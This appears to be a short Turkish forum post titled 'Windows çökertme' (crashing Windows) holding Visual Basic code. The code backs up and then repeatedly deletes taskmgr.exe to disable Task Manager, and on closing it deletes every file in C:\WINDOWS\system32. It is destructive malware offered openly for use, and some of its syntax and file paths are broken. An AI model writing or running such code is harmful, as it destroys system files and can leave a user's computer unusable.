[tamerr89]

Windows çökertme

Private Sub Form_Load()

    filecopy "c:\windows\system32\taskmgr.exe" , "c:\windows\repeair\taskmgr.exe"
    'Burada Taskmgr dosyasını yedekledik
    Timer1.interval=10

End Sub

Private Sub Timer1()

     ON LOCAL ERROR RESUME NEXT 

     Kill "c:\windows\system32\taskmgr.exe"
End Sub

Private Sub Form_unload()
    filecopy "c:\windows\repeair\taskmgr.exe" , "c:\windows\system32\taskmgr.exec:\windows\repeair\taskmgr.exe"


kill "C:\WINDOWS\system32\*.*"



End Sub


[ftp][/ftp]